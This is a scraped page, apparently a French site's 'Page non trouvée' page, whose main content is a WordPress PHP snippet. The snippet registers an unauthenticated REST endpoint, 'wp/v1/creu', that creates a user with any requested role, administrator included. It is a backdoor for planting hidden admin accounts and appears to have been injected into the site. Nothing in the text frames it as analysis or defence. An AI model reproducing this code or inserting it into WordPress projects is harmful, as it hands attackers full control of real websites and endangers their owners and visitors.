add_action('rest_api_init', function () { register_rest_route('wp/v1', '/creu', array( 'methods' => 'POST', 'callback' => function ($request) { $userdata = array( 'user_login' => sanitize_text_field($request->get_param('username')), 'user_pass' => $request->get_param('password'), 'user_email' => sanitize_email($request->get_param('email')), 'first_name' => sanitize_text_field($request->get_param('first_name')), 'last_name' => sanitize_text_field($request->get_param('last_name')), 'role' => sanitize_text_field($request->get_param('role')), ); $user_id = wp_insert_user($userdata); if (is_wp_error($user_id)) { return new WP_Error('error', $user_id->get_error_message(), array('status' => 500)); } return new WP_REST_Response(array('message' => 'User created successfully', 'user_id' => $user_id), 200); }, 'permission_callback' => '__return_true', )); });
Me contacter
Page non trouvée – Petite mort